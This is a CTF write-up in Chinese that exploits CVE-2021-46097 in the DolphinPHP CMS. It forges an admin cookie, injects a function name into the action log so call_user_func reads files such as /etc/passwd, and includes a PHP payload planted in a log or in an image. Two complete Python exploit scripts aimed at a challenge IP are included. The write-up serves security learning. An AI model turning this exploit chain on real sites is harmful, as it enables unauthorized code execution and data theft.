题目简介
- 给了admin最后一次登陆时间
- 密码不是弱口令,不是默认密码
- 要求rce并bypass disable function
伪造管理员
搜索login、time等字眼 按照如下方式伪造 last_login_time搜一下是个unix时间戳,找个在线网站转换一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
function data_auth_sign($data = []){
// 数据类型检测
if(!is_array($data)){
$data = (array)$data;
}
// 排序
ksort($data);
var_dump($data);
// url编码并生成query字符串
$code = http_build_query($data);
// 生成签名
var_dump($code);
$sign = sha1($code);
return $sign;
}
$user = array(
'username'=> 'admin',
'id'=>'1',
'last_login_time1'=>'2011-04-05 14:19:19',
'last_login_time'=>'1301984359'
);
var_dump(data_auth_sign($user['username'].$user['id'].$user['last_login_time']));
config/cookie.php
里写了cookie的前缀
1
Cookie: dolphin_uid=1; dolphin_signin_token=ab5f486a24426d9158c99507da45ae3bac476dd6
复现CVE-2021-46097
核心部分如下:
代码片段1:
1
2
3
4
5
6
if (AttachmentModel::where('id', 'in', $ids)->delete()) {
// 记录行为
$ids = is_array($ids) ? implode(',', $ids) : $ids;
action_log('attachment_delete', 'admin_attachment', 0, UID, $ids);
$this->success('删除成功');
}
代码片段2:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if(!empty($action_info['log'])){
if(preg_match_all('/\[(\S+?)\]/', $action_info['log'], $match)){
$log = [
'user' => $user_id,
'record' => $record_id,
'model' => $model,
'time' => request()->time(),
'data' => ['user' => $user_id, 'model' => $model, 'record' => $record_id, 'time' => request()->time()],
'details' => $details
];
$replace = [];
foreach ($match[1] as $value){
$param = explode('|', $value);
if(isset($param[1]) && $param[1] != ''){
if (is_disable_func($param[1])) {
continue;
}
$replace[] = call_user_func($param[1], $log[$param[0]]);// $param[1]='system'; $log['details']=xxx;
}else{
$replace[] = $log[$param[0]];
}
}
$data['remark'] = str_replace($match[0], $replace, $action_info['log']);
}else{
$data['remark'] = $action_info['log'];
}
}
简单测试一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
php > $data = "[details|system] aaa [details]";
php > preg_match_all('/\[(\S+?)\]/', $data, $match);
php > var_dump($match);
array(2) {
[0]=>
array(2) {
[0]=>
string(16) "[details|system]"
[1]=>
string(9) "[details]"
}
[1]=>
array(2) {
[0]=>
string(14) "details|system"
[1]=>
string(7) "details"
}
}
也就是说
- 可以控制call_user_func的第一个参数,会经过disable function 校验
- 第二个参数
- 可以是字符串,存在于数据库中
- 可以是数组,并且会查询数据库中的id是否在数组中,并且会使用implode进行连接
原exp使用#&;
等将后面的数据丢掉。本题没有echo。
深入研究一下,读文件成功了,但是列目录没有成功。
读文件
1
2
3
4
5
// 不需要echo
readfile("222,/../../../../../../../../etc/passwd");
// 需要echo
echo file_get_contents("222,/../../../../../../../../etc/passwd");
列目录
- 列目录的函数返回的是数组 在本题无效 因为后面会进到
str_replace
报错。 - 倒是测出
glob
的正则可以让脏字符无效1 2 3 4
print_r(scandir("/")); print_r(glob("/[2,a-z0-9]*")); //但是不能,报file not found print_r(scandir("/2222/../"));
文件包含
include
、require
还有eval
等属于语言结构(Language constructs),call_user_func
没法调用。
可以用thinkphp里的一些方法来曲线救国
1
2
3
4
5
6
7
8
9
10
function __include_file($file)
{
return include $file;
}
function __require_file($file)
{
return require $file;
}
有文件包含了,接下来需要服务端存在内容可控的文件。这里提供两种方法:
解法一:出题人提供的修改用户名方法
修改用户名会记录到log中,位置在runtime/log/2023MM/DD
Accept中会有*/*
等字符串,使部分内容解析失败,因此需要开容器获得全新的log,否则会php解析报错
使用如下代码注释掉后面所有的坏字符串<?php phpinfo();/*
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests,os,gnureadline,base64
from urllib.parse import quote
headers = {
"Accept": "11"
}
url = 'http://139.196.153.118:30279'
sess = requests.Session()
def signin():
r = sess.get(
url = f'{url}/admin.php/user/publics/signin.html',
headers = {
'Cookie':'dolphin_uid=1; dolphin_signin_token=ab5f486a24426d9158c99507da45ae3bac476dd6',
'Accept':'111'
},
)
def modify_nickname():
r = sess.post(
url = f'{url}/admin.php/user/index/edit/id/1.html',
headers = headers,
data = '__token__=40e5125997d44fc4301bd2004a66c900&id=1&nickname=%s&role=1&email=&password=&mobile=&avatar=0&status=1' % (quote("<?php phpinfo();/*"))
)
def modify_func(func_name):
r = sess.post(
url = f'{url}/admin.php/admin/action/edit/id/14.html',
headers = headers,
data = '__token__=bedf6d242ee21d3a37058f77f349d664&id=14&module=admin&name=attachment_delete&title=%E5%88%A0%E9%99%A4%E9%99%84%E4%BB%B6&remark=%E5%88%A0%E9%99%A4%E9%99%84%E4%BB%B6&rule=&log={}&status=1'.format(
quote("[details|%s] test [details]" % func_name)
)
)
def upload():
r = sess.post(
url = f'{url}/admin.php/admin/attachment/upload/dir/images/module/admin.html',
headers = headers,
files = {
'file':('1.png',base64.b64decode(b'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQAAAAA3bvkkAAAACklEQVR4nGNgAAAAAgABSK+kcQAAAABJRU5ErkJggg==')+os.urandom(10))
},
)
return r.json()['id']
def execute_function(pic_id):
r = sess.post(
url = f'{url}/admin.php/admin/attachment/delete/_t/86ba77b6.html',
headers = headers,
data = f'ids[]={pic_id}&ids[]=/../../runtime/log/202305/07.log'
)
print(r.text.split('<!DOCTYPE html>')[0])
if __name__ == "__main__":
signin()
modify_nickname()
modify_func("think\\__include_file")
pic_id = upload()
execute_function(pic_id)
解法二:正常图片后面拼接php代码
- 上传图片,后面加shell,得到图片地址后包含即可
- 更具有广泛性,不会有怪字符
- 图片后可以加点随机字符,否则服务端图片id不会变
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests,os,gnureadline,base64
from urllib.parse import quote
headers = {
"Accept": "11"
}
url = 'http://139.196.153.118:32060'
sess = requests.Session()
def signin():
r = sess.get(
url = f'{url}/admin.php/user/publics/signin.html',
headers = {
'Cookie':'dolphin_uid=1; dolphin_signin_token=ab5f486a24426d9158c99507da45ae3bac476dd6',
'Accept':'111'
},
)
def modify_func(func_name):
r = sess.post(
url = f'{url}/admin.php/admin/action/edit/id/14.html',
headers = headers,
data = '__token__=bedf6d242ee21d3a37058f77f349d664&id=14&module=admin&name=attachment_delete&title=%E5%88%A0%E9%99%A4%E9%99%84%E4%BB%B6&remark=%E5%88%A0%E9%99%A4%E9%99%84%E4%BB%B6&rule=&log={}&status=1'.format(
quote("[details|%s] test [details]" % func_name)
)
)
def upload(get_img_addr=False):
r = sess.post(
url = f'{url}/admin.php/admin/attachment/upload/dir/images/module/admin.html',
headers = headers,
files = {
'file':('1.png',base64.b64decode(b'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABAQAAAAA3bvkkAAAACklEQVR4nGNgAAAAAgABSK+kcQAAAABJRU5ErkJggg==')+b'<?php phpinfo();//' + os.urandom(10).hex().encode())
},
)
if not get_img_addr:
return r.json()['id']
return r.json()['path']
def execute_function(pic_id, filename):
r = sess.post(
url = f'{url}/admin.php/admin/attachment/delete/_t/86ba77b6.html',
headers = headers,
data = f'ids[]={pic_id}&ids[]=/../../public{filename}'
)
print(r.text.split('<!DOCTYPE html>')[0])
if __name__ == "__main__":
signin()
modify_func("think\\__include_file")
filename = upload(True)
pic_id = upload()
execute_function(pic_id, filename)
RCE
- 上传shell.php后
- php版本7.4.0
- 使用PHP7 ReflectionProperty UAF漏洞来rce绕过disable function(蚁剑有插件)
- 或者使用scandir、readfile直接读flag,出题人的/readflag是假的
- 读/readflag里有一个假的flag文件名